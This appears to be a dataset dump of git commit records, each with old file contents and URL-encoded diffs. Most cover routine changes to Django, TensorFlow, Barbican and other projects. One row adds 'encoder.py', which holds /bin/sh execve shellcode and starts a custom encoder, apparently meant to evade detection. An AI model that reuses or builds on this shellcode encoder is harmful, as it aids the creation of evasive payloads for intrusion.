commit stringlengths 40 40 | subject stringlengths 1 3.25k | old_file stringlengths 4 311 | new_file stringlengths 4 311 | old_contents stringlengths 0 26.3k | lang stringclasses 3
values | proba float64 0 1 | diff stringlengths 0 7.82k |
|---|---|---|---|---|---|---|---|
dd1bface79e3fcc53e9e8b1cc10ea9f467b757f2 | update use of AppCommand | django_extensions/management/commands/create_jobs.py | django_extensions/management/commands/create_jobs.py | # -*- coding: utf-8 -*-
import os
import sys
import shutil
from django.core.management.base import AppCommand
from django.core.management.color import color_style
from django_extensions.management.utils import _make_writeable, signalcommand
class Command(AppCommand):
help = "Creates a Django jobs command direct... | Python | 0 | @@ -380,62 +380,8 @@
ry.%22
-%0A args = %22%5Bappname%5D%22%0A label = 'application name'
%0A%0A
@@ -680,219 +680,8 @@
s)%0A%0A
- @signalcommand%0A def handle_app(self, app, **options):%0A # handle_app is RemovedInDjango19%0A app_dir = os.path.dirname(app.__file__)%0A copy_template... |
06b536cdfd684d12ce64670bde50fdcbf7a71bd2 | Add a workspace_binary rule to run a binary from the workspace root | defs/run_in_workspace.bzl | defs/run_in_workspace.bzl | Python | 0.000001 | @@ -0,0 +1,2342 @@
+# Copyright 2018 The Kubernetes Authors.%0A#%0A# Licensed under the Apache License, Version 2.0 (the %22License%22);%0A# you may not use this file except in compliance with the License.%0A# You may obtain a copy of the License at%0A#%0A# http://www.apache.org/licenses/LICENSE-2.0%0A#%0A# Unless ... | |
eda3e6c005c1115a039f394d6f00baabebd39fee | Add command for full daily build process | calaccess_website/management/commands/updatebuildpublish.py | calaccess_website/management/commands/updatebuildpublish.py | Python | 0 | @@ -0,0 +1,1033 @@
+#!/usr/bin/env python%0A# -*- coding: utf-8 -*-%0A%22%22%22%0AUpdate to the latest available CAL-ACCESS snapshot and publish the files to the%0Awebsite.%0A%22%22%22%0Aimport logging%0Afrom django.core.management import call_command%0Afrom calaccess_raw.management.commands.updatecalaccessrawdata impo... | |
52637b519ca7e743b913f55c37a2ae952a520d9f | List commands of given apps | django_dev_commands/management/commands/commands.py | django_dev_commands/management/commands/commands.py | Python | 0.99999 | @@ -0,0 +1,1196 @@
+# -*- coding: utf-8 -*-%0A%22%22%22List commands of the specified applications.%0A%0ABy passing command line arguments that represents regexs of app names you can list the commands of%0Athose apps only.%0A%22%22%22%0Aimport re%0A%0Afrom django.core.management import get_commands, execute_from_comman... | |
fca3934b3a190f3f6877dfed5c5c4e6c81ecc61b | Return empty body on empty note; #327 | judge/views/ticket.py | judge/views/ticket.py | from django import forms
from django.contrib.auth.mixins import LoginRequiredMixin
from django.core.exceptions import PermissionDenied, ImproperlyConfigured
from django.http import HttpResponse
from django.http import HttpResponseBadRequest
from django.http import HttpResponseRedirect
from django.urls import reverse
fr... | Python | 0.999998 | @@ -5326,24 +5326,32 @@
cket.notes =
+ notes =
form.cleane
@@ -5380,32 +5380,54 @@
ticket.save()%0A
+ if notes:%0A
return H
@@ -5453,34 +5453,13 @@
aks(
-form.cleaned_data%5B'
notes
-'%5D
, au
@@ -5473,16 +5473,74 @@
e=True))
+%0A else:%0A return HttpResponse(status=204)
... |
056966052d0c23395a205511dce2e9577f376539 | Add Sequence | chainerrl/links/sequence.py | chainerrl/links/sequence.py | Python | 0.000048 | @@ -0,0 +1,878 @@
+from __future__ import unicode_literals%0Afrom __future__ import print_function%0Afrom __future__ import division%0Afrom __future__ import absolute_import%0Afrom builtins import super%0Afrom future import standard_library%0Astandard_library.install_aliases()%0Aimport inspect%0A%0Aimport chainer%0A%0A... | |
b8acaf64187f5626ef6755ef00d2b2a1471d4914 | Add closure type inference test | numba/tests/closures/test_closure_type_inference.py | numba/tests/closures/test_closure_type_inference.py | Python | 0.000006 | @@ -0,0 +1,421 @@
+import numpy as np%0A%0Afrom numba import *%0Afrom numba.tests.test_support import *%0A%0A@autojit%0Adef test_cellvar_promotion(a):%0A %22%22%22%0A %3E%3E%3E inner = test_cellvar_promotion(10)%0A 200.0%0A %3E%3E%3E inner.__name__%0A 'inner'%0A %3E%3E%3E inner()%0A 1000.0%0A %2... | |
3a04bff5a7940463d6429918215429700befb507 | add valid-number | valid-number.py | valid-number.py | Python | 0.999993 | @@ -0,0 +1,1249 @@
+# Link: https://oj.leetcode.com/problems/valid-number/%0Aclass Solution:%0A %22%22%22%0A Notes please see https://blog.xiaoba.me/2014/11/10/leetcode-valid-number.html%0A %22%22%22%0A # @param s, a string%0A # @return a boolean%0A def isNumber(self, s):%0A stateTable = %5B%0A... | |
dec6ea168c68e267f15b74407f8745d242629d30 | Create tokens.py | tokens.py | tokens.py | Python | 0.000001 | @@ -0,0 +1,64 @@
+C_KEY = %22%22 %0AC_SECRET = %22%22 %0AA_TOKEN = %22%22 %0AA_TOKEN_SECRET = %22%22%0A
| |
d56c3528ad8058231910fd3d06895f39174eeb6c | Prepare v2.16.2.dev | flexget/_version.py | flexget/_version.py | """
Current FlexGet version.
This is contained in a separate file so that it can be easily read by setup.py, and easily edited and committed by
release scripts in continuous integration. Should (almost) never be set manually.
The version should always be set to the <next release version>.dev
The jenkins release job wi... | Python | 0.000007 | @@ -438,11 +438,15 @@
= '2.16.
-1
+2.dev
'%0A
|
a475d50d2b7b9febe5fb01bb185b63cbbe25f4d1 | add migration to remove fields | hoover/search/migrations/0006_auto_20200303_1309.py | hoover/search/migrations/0006_auto_20200303_1309.py | Python | 0.000001 | @@ -0,0 +1,560 @@
+# Generated by Django 2.2.7 on 2020-03-03 13:09%0A%0Afrom django.db import migrations%0A%0A%0Aclass Migration(migrations.Migration):%0A%0A dependencies = %5B%0A ('search', '0005_rename_user_hypens_to_dots'),%0A %5D%0A%0A operations = %5B%0A migrations.RemoveField(%0A ... | |
32108ccab67a76a05150e8cfb5bbdf2ff3477346 | Create minesweeper.py | game/minesweeper.py | game/minesweeper.py | Python | 0.000001 | @@ -0,0 +1,840 @@
+from tkinter import *%0A%0Aroot = Tk()%0Aroot.resizable(0, 0)%0Aroot.title(%22Minesweeper%22)%0Aframe = Frame(root)%0A%0AGrid.rowconfigure(root, 0, weight=1)%0AGrid.columnconfigure(root, 0, weight=1)%0Aframe.grid(row=0, column=0)%0A%0Aclass Tiles:%0A%09def __init__(self, frame, size):%0A%09%09self.si... | |
a75e87fd3b4fc3f370554227cefc4687593621ca | fix merge fup | gdbpool/psyco_ge.py | gdbpool/psyco_ge.py | Python | 0.000001 | @@ -0,0 +1,2269 @@
+%22%22%22A wait callback to allow psycopg2 cooperation with gevent.%0A%0AUse %60make_psycopg_green()%60 to enable gevent support in Psycopg.%0A%22%22%22%0A%0A# Copyright (C) 2010 Daniele Varrazzo %3Cdaniele.varrazzo@gmail.com%3E%0A# and licensed under the MIT license:%0A#%0A# Permission is hereby gr... | |
5f503f0b9ab51ca2b1985fe88d5e84ff63b7d745 | Add sample playlists for testing features. | addplaylists.py | addplaylists.py | Python | 0 | @@ -0,0 +1,601 @@
+#!/usr/bin/env python2%0Afrom datetime import datetime%0Afrom datetime import timedelta%0Aimport random%0Afrom wuvt.trackman.lib import perdelta%0Afrom wuvt import db%0Afrom wuvt.trackman.models import DJSet, DJ%0A%0Atoday = datetime.now()%0Aprint(%22adding dj%22)%0Adj = DJ(u%22Johnny 5%22, u%22John%... | |
1905395783d5a0f5997e6e620ba09d41398840e0 | add test_vincia.py | test_vincia.py | test_vincia.py | Python | 0.000004 | @@ -0,0 +1,123 @@
+%0A%0Afrom deepjets.generate import generate_events%0A%0Afor event in generate_events('w_vincia.config', 1, vincia=True):%0A pass%0A
| |
4fab31eef9ad80230b36039b66c70d94456e5f9b | Add missing tests file from previous commit. | tests/monad.py | tests/monad.py | Python | 0 | @@ -0,0 +1,1737 @@
+'''Test case for monads and monoidic functions%0A'''%0Aimport unittest%0A%0Afrom lighty import monads%0A%0A%0Aclass MonadTestCase(unittest.TestCase):%0A '''Test case for partial template execution%0A '''%0A%0A def testNumberComparision(self):%0A monad = monads.ValueMonad(10)%0A ... | |
c6f3c5dc482d8f052c37ecf99accee28d1be86a9 | Update forward compatibility horizon to 2018-12-24 | tensorflow/python/compat/compat.py | tensorflow/python/compat/compat.py | # Copyright 2018 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | Python | 0 | @@ -1321,17 +1321,17 @@
8, 12, 2
-3
+4
)%0A%0A%0A@tf_
|
abdb631654651536512474680c36597c22318a8c | Update forward compatibility horizon to 2022-09-11 | tensorflow/python/compat/compat.py | tensorflow/python/compat/compat.py | # Copyright 2018 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | Python | 0 | @@ -1335,17 +1335,17 @@
22, 9, 1
-0
+1
)%0A_FORWA
|
50141a66831d080ecc0791f94d1bd3bfec0aeb65 | Add migration for #465 | judge/migrations/0046_blogpost_authors.py | judge/migrations/0046_blogpost_authors.py | Python | 0 | @@ -0,0 +1,516 @@
+# -*- coding: utf-8 -*-%0A# Generated by Django 1.9.8 on 2016-09-08 16:54%0Afrom __future__ import unicode_literals%0A%0Afrom django.db import migrations, models%0A%0A%0Aclass Migration(migrations.Migration):%0A%0A dependencies = %5B%0A ('judge', '0045_organization_access_code'),%0A %5D%... | |
e5931a5837b1574681757e2c6fc7260122b48746 | Add minify util | web-app/js/ofm/scripts/utils/minify.py | web-app/js/ofm/scripts/utils/minify.py | Python | 0.002208 | @@ -0,0 +1,2720 @@
+#!/usr/bin/python2.6%0A%0A# Minify Filemanager javascript files%0A# Usage : $ python ./utils/minify.py%0A%0Aclass bcolors:%0A HEADER = '%5C033%5B95m'%0A OKBLUE = '%5C033%5B94m'%0A OKGREEN = '%5C033%5B92m'%0A WARNING = '%5C033%5B93m'%0A FAIL = '%5C033%5B91m'%0A ENDC = '%5C033%5B0m'%... | |
348ffbf16fcb67768d72bd18167e6c70c99a27a1 | Add Homodyne node | gpi/Homodyne_GPI.py | gpi/Homodyne_GPI.py | Python | 0.000022 | @@ -0,0 +1,1515 @@
+# Author: Ashley Anderson III %3Caganders3@gmail.com%3E%0A# Date: 2015-10-10 21:13%0A# Copyright (c) 2015 Dignity Health%0A%0Afrom __future__ import absolute_import, division, print_function, unicode_literals%0A%0Aimport os%0A%0A# gpi, future%0Aimport gpi%0Afrom bart.gpi.borg import IFilePath, OFile... | |
1a7fa8080d19909ccf8e8e89aa19c92c1413f1c1 | Add script to submite jobs again | apps/pyjob_submite_jobs_again.py | apps/pyjob_submite_jobs_again.py | Python | 0 | @@ -0,0 +1,1324 @@
+#!/usr/bin/env python3%0A%0Aimport os%0Aimport sys%0Aimport subprocess%0A%0Aright_inputs = False%0Aif len(sys.argv) %3E 2 :%0A tp = sys.argv%5B1%5D%0A rms = %5Bint(x) for x in sys.argv%5B2:%5D%5D%0A if tp in %5B'ma', 'ex', 'xy'%5D: right_inputs = True%0A%0Acurdir = os.getcwd()%0Aif right_in... | |
1bf7439c67e2206acb0c6d285014261eeb18097f | Add coverage as single execution | coverage.py | coverage.py | Python | 0.000009 | @@ -0,0 +1,162 @@
+from app import initialization%0Afrom app.configuration import add%0Afrom app.check import *%0A%0Ainitialization.run()%0Aadd('phpunit-coverage', 'true')%0A%0Aphpunit.execute()%0A
| |
884ae74bb75e5a0c60da74791a2e6fad9e4b83e5 | Add py solution for 436. Find Right Interval | py/find-right-interval.py | py/find-right-interval.py | Python | 0.998967 | @@ -0,0 +1,873 @@
+from operator import itemgetter%0A# Definition for an interval.%0A# class Interval(object):%0A# def __init__(self, s=0, e=0):%0A# self.start = s%0A# self.end = e%0A%0Aclass Solution(object):%0A def findRightInterval(self, intervals):%0A %22%22%22%0A :type interval... | |
07f8fd56ab366a2d1365278c3310ade4b1d30c57 | Add functional test for version negotiation | heat_integrationtests/functional/test_versionnegotiation.py | heat_integrationtests/functional/test_versionnegotiation.py | Python | 0.000058 | @@ -0,0 +1,1427 @@
+# Licensed under the Apache License, Version 2.0 (the %22License%22); you may%0A# not use this file except in compliance with the License. You may obtain%0A# a copy of the License at%0A#%0A# http://www.apache.org/licenses/LICENSE-2.0%0A#%0A# Unless required by applicable law or a... | |
4b8f7a4c97668b4dbd8634d6b01e30b71737c3bd | fix send_HTML_email to work when no email_from argument is supplied | dimagi/utils/django/email.py | dimagi/utils/django/email.py | from django.conf import settings
from django.core.mail import get_connection
from django.core.mail.message import EmailMultiAlternatives
NO_HTML_EMAIL_MESSAGE = """
Your email client is trying to display the plaintext version of an email that
is only supported in HTML. Please set your email client to display this mess... | Python | 0 | @@ -381,16 +381,17 @@
s.%0A%22%22%22%0A%0A
+%0A
def send
@@ -454,16 +454,36 @@
nt=None,
+%0A
cc=None
@@ -495,21 +495,64 @@
il_from=
-None,
+settings.DEFAULT_FROM_EMAIL,%0A
file_at
@@ -718,798 +718,8 @@
E)%0A%0A
- # If you get the return_path header wrong, this may imped... |
f7c4f8d43b30dfee36d4ff46e9133194a15b3e81 | Add tests for __unicode__ functions in model. (#1026) | tests/unit/accounts/test_models.py | tests/unit/accounts/test_models.py | Python | 0 | @@ -0,0 +1,940 @@
+from django.contrib.auth.models import User%0Afrom django.test import TestCase%0A%0Afrom accounts.models import Profile, UserStatus%0A%0A%0Aclass BaseTestCase(TestCase):%0A%0A def setUp(self):%0A self.user = User.objects.create(%0A username='user',%0A email='user@test.... | |
3e5b98c1a79f625fbf9f54af782e459de7fa5b1f | update migration with new filename and parent migration name | accelerator/migrations/0052_cleanup_twitter_urls.py | accelerator/migrations/0052_cleanup_twitter_urls.py | Python | 0 | @@ -0,0 +1,1054 @@
+# -*- coding: utf-8 -*-%0Afrom __future__ import unicode_literals%0A%0Afrom django.db import migrations%0A%0Afrom accelerator.twitter_handle_cleanup import (%0A clean_entrepreneur_profile_twitter_handles,%0A clean_expert_profile_twitter_handles,%0A clean_organization_twitter_handles%0A)%0A%... | |
c97f648a012c38802d9637d4c573a4ca9c8e1633 | Create encoder.py | additional/customencoder/encoder.py | additional/customencoder/encoder.py | Python | 0.000004 | @@ -0,0 +1,754 @@
+#!/usr/bin/python%0A%0A#below is the shellcode for /bin/sh using execve sys call%0Ashellcode = (%22%5Cx31%5Cxc0%5Cx50%5Cx68%5Cx2f%5Cx2f%5Cx73%5Cx68%5Cx68%5Cx2f%5Cx62%5Cx69%5Cx6e%5Cx89%5Cxe3%5Cx50%5Cx89%5Cxe2%5Cx53%5Cx89%5Cxe1%5Cxb0%5Cx0b%5Cxcd%5Cx80%22)%0A%0At=%5B%5D%0Aw=%5B%5D%0Az=%5B%5D%0A%0Aror = ... | |
fb004f72c27b49ba9661e6a83b8f49be39757d22 | add changemath shell | math_change.py | math_change.py | Python | 0.000009 | @@ -0,0 +1,833 @@
+import sys%0A%0Afilename = './Deterministic Policy Gradient Algorithms%E7%AC%94%E8%AE%B0.md'%0Aoutname = ''%0A%0Adef change(filename, outname):%0A f = open(filename, encoding='utf8')%0A data = f.readlines()%0A f.close()%0A %0A out = ''%0A doublenum = 0%0A for line in data:%0A ... | |
e042fc9bf4768f5dec1ef7a331e73e507e1c3b06 | set correct exit status from 'yotta target' | yotta/target.py | yotta/target.py | # Copyright 2014 ARM Limited
#
# Licensed under the Apache License, Version 2.0
# See LICENSE file for details.
# standard library modules, , ,
from __future__ import print_function
import re
import logging
import os
# colorama, BSD 3-Clause license, cross-platform terminal colours, pip install colorama
import color... | Python | 0 | @@ -3099,16 +3099,38 @@
t(line)%0A
+ return len(errors)
%0A%0A%0Adef e
@@ -3203,16 +3203,23 @@
+return
displayC
@@ -3972,16 +3972,37 @@
#''')%0A
+ return 1%0A
@@ -4229,8 +4229,29 @@
global)%0A
+ return 0%0A
|
209314b65ee960d73ee81baad6b9ced4102d6c0b | Introduce GenericSparseDB() class | lib/generic_sparse_db.py | lib/generic_sparse_db.py | Python | 0 | @@ -0,0 +1,629 @@
+#!/usr/bin/env python%0A# -*- encoding: utf-8%0A%0Aimport gzip%0Aimport scipy.io as sio%0Afrom utils.utils import Utils%0A%0A%0Aclass GenericSparseDB(Utils):%0A%0A def init(self):%0A self.data = sio.mmread(gzip.open(self._matrix_fn)).tolil()%0A self.factors = self._load_pickle(self._facto... | |
47dff2561be481ff067c22ed98d9ea6a9cf8ae10 | Add test to execute notebooks | test/test_notebook.py | test/test_notebook.py | Python | 0.000001 | @@ -0,0 +1,675 @@
+import os%0Aimport glob%0Aimport contextlib%0Aimport subprocess%0A%0Aimport pytest%0A%0Anotebooks = list(glob.glob(%22*.ipynb%22, recursive=True))%0A%0A@contextlib.contextmanager%0Adef cleanup(notebook):%0A name, __ = os.path.splitext(notebook)%0A yield%0A%0A fname = name + %22.html%22%0A ... | |
ec033203d8e82258347eb4f6a6a83ef67bc9171c | Add expr tests | tests/test_Expr.py | tests/test_Expr.py | Python | 0.000001 | @@ -0,0 +1,493 @@
+#!/usr/bin/python3%0A%0Aimport pytest%0Aimport numpy as np%0A%0Adef test_nans_in_same_place(testCOB):%0A norm_expr = testCOB.expr(raw=False)%0A raw_expr = testCOB.expr(raw=True).ix%5Bnorm_expr.index,norm_expr.columns%5D%0A assert all(np.isnan(norm_expr) == np.isnan(raw_expr))%0A%0Adef test_i... | |
bddb239b33743fc92450971070d264573de95f8d | Add reminder handler for Assessment | src/ggrc/notifications/notification_handlers.py | src/ggrc/notifications/notification_handlers.py | # Copyright (C) 2016 Google Inc., authors, and contributors <see AUTHORS file>
# Licensed under http://www.apache.org/licenses/LICENSE-2.0 <see LICENSE file>
# Created By: miha@reciprocitylabs.com
# Maintained By: miha@reciprocitylabs.com
"""Notification handlers for object in the ggrc module.
This module contains al... | Python | 0 | @@ -3167,24 +3167,284 @@
.delete()%0A%0A%0A
+def handle_reminder(obj, reminder_type):%0A if reminder_type in obj.REMINDERABLE_HANDLERS:%0A reminder_settings = obj.REMINDERABLE_HANDLERS%5Breminder_type%5D%0A handler = reminder_settings%5B'handler'%5D%0A data = reminder_settings%5B'data'%5D%0A handler(obj, ... |
f3c4b7513c49189750ea15b36e561a4e5ed56214 | add linear classification back | soccer/gameplay/evaluation/linear_classification.py | soccer/gameplay/evaluation/linear_classification.py | Python | 0.000342 | @@ -0,0 +1,1373 @@
+%0A# Classifies a feature into any number of classes%0A%0A# Linear classfication defined is%0A# y = f(x, w, b) where...%0A# x is a vector of input features of an object%0A# w is a vector of weights to apply to the features%0A# b is the bias of the feature-weight system%0A# f() is x dot w + b... | |
14c20e35bcfc55cc3c12d94596079fc27a907f94 | Add unit tests | tests/test_unit.py | tests/test_unit.py | Python | 0.000001 | @@ -0,0 +1,719 @@
+import unittest%0Afrom test_utilities import mapTestJsonFiles, mapJsonToYml, testYaml, getImmediateSubdirectories, unidiff_output%0A%0Aclass TestUnit(unittest.TestCase):%0A def test_input(self):%0A testDirectories = getImmediateSubdirectories('test_input')%0A for directory in testDir... | |
c2b082ebe95acc24f86fde9cd6875d7de3a9ca40 | Set up test_user file | tests/test_user.py | tests/test_user.py | Python | 0.000002 | @@ -0,0 +1,539 @@
+import unittest%0Aimport settings%0Aimport requests_mock%0A%0Afrom util import register_uris%0Afrom pycanvas.user import User%0Afrom pycanvas.exceptions import ResourceDoesNotExist%0Afrom pycanvas import Canvas%0A%0A%0Aclass TestUser(unittest.TestCase):%0A %22%22%22%0A Tests core Account functi... | |
0b8d5794d2c5a1ae46659e02b65d1c21ffe8881d | Implement tests for temperature endpoint | babyonboard/api/tests/test_views.py | babyonboard/api/tests/test_views.py | Python | 0.000002 | @@ -0,0 +1,1610 @@
+import json%0Afrom rest_framework import status%0Afrom django.test import TestCase, Client%0Afrom django.urls import reverse%0Afrom ..models import Temperature%0Afrom ..serializers import TemperatureSerializer%0A%0A%0Aclient = Client()%0A%0A%0Aclass GetCurrentTemperatureTest(TestCase):%0A %22%22%... | |
a9d458c0995db80f164f6099b5264f23c1ceffbb | Create 02.py | 02/qu/02.py | 02/qu/02.py | Python | 0 | @@ -0,0 +1,211 @@
+# Define a procedure, sum3, that takes three%0A# inputs, and returns the sum of the three%0A# input numbers.%0A%0Adef sum3(aa, bb, cc):%0A return aa + bb + cc%0A%0A#print sum3(1,2,3)%0A#%3E%3E%3E 6%0A%0A#print sum3(93,53,70)%0A#%3E%3E%3E 216%0A
| |
5676828093ac5c768b0670c0441c15c353840ace | Use Markup for escape | barbican_api.py | barbican_api.py | # -*- coding: utf-8 -*-
"""
Barbican API
~~~~~~~~~~~~
The API for Barbican.
DO NOT USE THIS IN PRODUCTION. IT IS NOT SECURE IN ANY WAY.
YOU HAVE BEEN WARNED.
:copyright: (c) 2013 by Jarret Raim
:license: Apache 2.0, see LICENSE for details
"""
import uuid
import datetime
from dateutil.par... | Python | 0 | @@ -391,16 +391,24 @@
se, json
+, Markup
%0Afrom mo
@@ -486,16 +486,17 @@
ession%0A%0A
+%0A
api = Bl
@@ -4355,30 +4355,8 @@
on)%0A
- helper = Helper()%0A
@@ -4371,16 +4371,16 @@
= '''%7B%0A
+
%09%09 %09%22aaD
@@ -4611,20 +4611,15 @@
ty,
-helper.html_
+Markup.
esca
@@ -4993,302 +4993,4 @@
j)%0A%0A
-... |
9a705f58acbcfb2cc7292cb396544f1f8c9b89a1 | Add basic web test | tests/baseweb_test.py | tests/baseweb_test.py | Python | 0 | @@ -0,0 +1,940 @@
+from __future__ import with_statement%0A%0Afrom ass2m.ass2m import Ass2m%0Afrom ass2m.server import Server%0A%0Afrom unittest import TestCase%0Afrom webtest import TestApp%0A%0Afrom tempfile import mkdtemp%0Aimport os.path%0Aimport shutil%0A%0Aclass BaseWebTest(TestCase):%0A def setUp(self):%0A ... | |
56eba00d00e450b5dc8fae7ea8475d418b00e2db | Add problem69.py | euler_python/problem69.py | euler_python/problem69.py | Python | 0.000241 | @@ -0,0 +1,1432 @@
+%22%22%22%0Aproblem69.py%0A%0AEuler's Totient function, %CF%86(n) %5Bsometimes called the phi function%5D, is used to%0Adetermine the number of numbers less than n which are relatively prime to n. For%0Aexample, as 1, 2, 4, 5, 7, and 8, are all less than nine and relatively prime to%0Anine, %CF%86(9... | |
47bdc98a7fb8c030f5beb09ec9bb1b83c100dc9a | Add missing migration | src/users/migrations/0008_auto_20160222_0553.py | src/users/migrations/0008_auto_20160222_0553.py | Python | 0.0002 | @@ -0,0 +1,1140 @@
+# -*- coding: utf-8 -*-%0A# Generated by Django 1.9 on 2016-02-22 05:53%0Afrom __future__ import unicode_literals%0A%0Aimport django.core.validators%0Afrom django.db import migrations, models%0A%0A%0Aclass Migration(migrations.Migration):%0A%0A dependencies = %5B%0A ('users', '0007_auto_20... | |
f0cd785688ed04821f0338021e2360b98bd9dd58 | add very simple perf test | conform/perf.py | conform/perf.py | Python | 0.000001 | @@ -0,0 +1,330 @@
+#!/usr/bin/env python%0A%0Aimport sys%0Aimport barrister%0A%0Atrans = barrister.HttpTransport(%22http://localhost:9233/%22)%0Aclient = barrister.Client(trans, validate_request=False)%0A%0Anum = int(sys.argv%5B1%5D)%0A%0As = %22safasdfasdlfasjdflkasjdflaskjdflaskdjflasdjflaskdfjalsdkfjasldkfjasld... | |
e88a6a634f600a5ef3ae269fc0d49bcd1e1d58e8 | Revert "More accurate info in examples." | examples/svm/plot_iris.py | examples/svm/plot_iris.py | """
==================================================
Plot different SVM classifiers in the iris dataset
==================================================
Comparison of different linear SVM classifiers on the iris dataset. It
will plot the decision surface for four different SVM classifiers.
"""
import numpy as np... | Python | 0 | @@ -257,40 +257,29 @@
ace
-for four different SVM classifie
+and the support vecto
rs.%0A
@@ -1844,16 +1844,20 @@
les%5Bi%5D)%0A
+
%0Apl.axis
|
9ba3c840514e765acac2542ee3faf47671824918 | add missing source file | moban/buffered_writer.py | moban/buffered_writer.py | Python | 0.000001 | @@ -0,0 +1,1021 @@
+from moban import utils, file_system%0A%0Aimport fs%0Aimport fs.path%0A%0A%0Aclass BufferedWriter(object):%0A def __init__(self):%0A self.fs_list = %7B%7D%0A%0A def write_file_out(self, filename, content):%0A if %22zip://%22 in filename:%0A self.write_file_out_to_zip(f... | |
b573daf86d2bcb5d8dc71e45a65b5f2ffc0866b1 | Correct module help | examples/create_events.py | examples/create_events.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from pymisp import PyMISP
from keys import misp_url, misp_key
import argparse
# For python2 & 3 compat, a bit dirty, but it seems to be the least bad one
try:
input = raw_input
except NameError:
pass
def init(url, key):
return PyMISP(url, key, True, 'json')
... | Python | 0.000001 | @@ -946,19 +946,19 @@
atble. %5B
-0-3
+1-4
%5D%22)%0A
|
291d882a29981ea6c82c40c8e9a001aa3305e0ae | Create 8kyu_do_I_get_a_bonus.py | Solutions/8kyu/8kyu_do_I_get_a_bonus.py | Solutions/8kyu/8kyu_do_I_get_a_bonus.py | Python | 0.000001 | @@ -0,0 +1,79 @@
+def bonus_time(salary, bonus):%0A return '$%7B%7D'.format(salary*(%5B1,10%5D%5Bbonus%5D))%0A
| |
7c16172f9ebe65d6928a72001a086637bf4bd725 | Fix buggy annotations for stdout/stderr. | scripts/lib/node_cache.py | scripts/lib/node_cache.py | from __future__ import print_function
import os
import hashlib
from os.path import dirname, abspath
if False:
from typing import Optional, List, Tuple
from scripts.lib.zulip_tools import subprocess_text_output, run
ZULIP_PATH = dirname(dirname(dirname(abspath(__file__))))
NPM_CACHE_PATH = "/srv/zulip-npm-cache"... | Python | 0 | @@ -143,16 +143,20 @@
l, List,
+ IO,
Tuple%0A%0A
@@ -565,35 +565,34 @@
str%5D%5D, Optional%5B
-str
+IO
%5D, Optional%5Bstr%5D
@@ -579,35 +579,34 @@
l%5BIO%5D, Optional%5B
-str
+IO
%5D, Optional%5Bbool
@@ -1771,35 +1771,34 @@
%5Bstr%5D, Optional%5B
-str
+IO
%5D, Optional%5Bstr%5D
@@ -1793,19 +1793,18 @@
ptiona... |
d36762fcf98774560fe82b32b2d64d2eba1ec72b | Improve logging to debug invalid "extra_specs" entries | cinder/scheduler/filters/capabilities_filter.py | cinder/scheduler/filters/capabilities_filter.py | # Copyright (c) 2011 OpenStack Foundation.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless... | Python | 0.000016 | @@ -1867,16 +1867,146 @@
s None:%0A
+ LOG.debug(%22Host doesn't provide capability '%25(cap)s' %22 %25%0A %7B'cap': scope%5Bindex%5D%7D)%0A
|
d10ec57d6f58a4f96a2f648cac1bc94dc78efc32 | Implement identifying to accounts | txircd/modules/extra/services/account_identify.py | txircd/modules/extra/services/account_identify.py | Python | 0.000009 | @@ -0,0 +1,2019 @@
+from twisted.plugin import IPlugin%0Afrom twisted.words.protocols import irc%0Afrom txircd.module_interface import Command, ICommand, IModuleData, ModuleData%0Afrom zope.interface import implements%0A%0Airc.ERR_SERVICES = %22955%22 # Custom numeric; 955 %3CTYPE%3E %3CSUBTYPE%3E %3CERROR%3E%0A%0Aclas... | |
166854466771850bda3384b75d0f8d0656c259f6 | add predict | gen_predict_res_format.py | gen_predict_res_format.py | Python | 0.999925 | @@ -0,0 +1,1118 @@
+# -*- coding: utf-8 -*-%0A'''%0ACreated on Jul 9, 2013%0A%0A@author: Chunwei Yan @ pkusz%0A@mail: yanchunwei@outlook.com%0A'''%0Aimport sys%0Afrom utils import get_num_lines, args_check%0A%0Aclass Gen(object):%0A formats = %7B%0A '1':1,%0A '-1':0,%0A %7D%0A%0A def __init__(se... | |
aa6837e14e520f5917cf1c452bd0c9a8ce2a27dd | Add new module for plugin loading | module/others/plugins.py | module/others/plugins.py | Python | 0 | @@ -0,0 +1,357 @@
+from maya import cmds%0A%0A%0Aclass Commands(object):%0A %22%22%22 class name must be 'Commands' %22%22%22%0A%0A commandDict = %7B%7D%0A%0A def _loadObjPlugin(self):%0A if not cmds.pluginInfo(%22objExport%22, q=True, loaded=True):%0A cmds.loadPlugin(%22objExport%22)%0A c... | |
67350e9ac3f2dc0fceb1899c8692adcd9cdd4213 | Add a test case to validate `get_unseen_notes` | frappe/tests/test_boot.py | frappe/tests/test_boot.py | Python | 0 | @@ -0,0 +1,710 @@
+import unittest%0A%0Aimport frappe%0Afrom frappe.boot import get_unseen_notes%0Afrom frappe.desk.doctype.note.note import mark_as_seen%0A%0A%0Aclass TestBootData(unittest.TestCase):%0A%09def test_get_unseen_notes(self):%0A%09%09frappe.db.delete(%22Note%22)%0A%09%09frappe.db.delete(%22Note Seen By%22)... | |
15fd5f6ddd3aa79a26b28d5ef4b93eeb12e28956 | add an update_users management command | controller/management/commands/update_users.py | controller/management/commands/update_users.py | Python | 0.000002 | @@ -0,0 +1,1519 @@
+%22%22%22%0AEnsure that the right users exist:%0A%0A- read USERS dictionary from auth.json%0A- if they don't exist, create them.%0A- if they do, update the passwords to match%0A%0A%22%22%22%0Aimport json%0Aimport logging%0A%0Afrom django.core.management.base import BaseCommand%0Afrom django.conf imp... | |
3d0f6085bceffc5941e55678da20d8db4a7d5ce2 | Create question4.py | huangguolong/question4.py | huangguolong/question4.py | Python | 0.00002 | @@ -0,0 +1,400 @@
+%0A%0Adef fib(nums):%0A '''%0A :param nums: %E4%B8%80%E4%B8%AA%E6%95%B4%E6%95%B0%EF%BC%8C%E7%9B%B8%E5%BD%93%E4%BA%8E%E6%95%B0%E5%88%97%E7%9A%84%E4%B8%8B%E6%A0%87%0A :return: %E8%BF%94%E5%9B%9E%E8%AF%A5%E4%B8%8B%E6%A0%87%E7%9A%84%E5%80%BC%0A '''%0A if nums == 0 or nums == 1:%0A r... | |
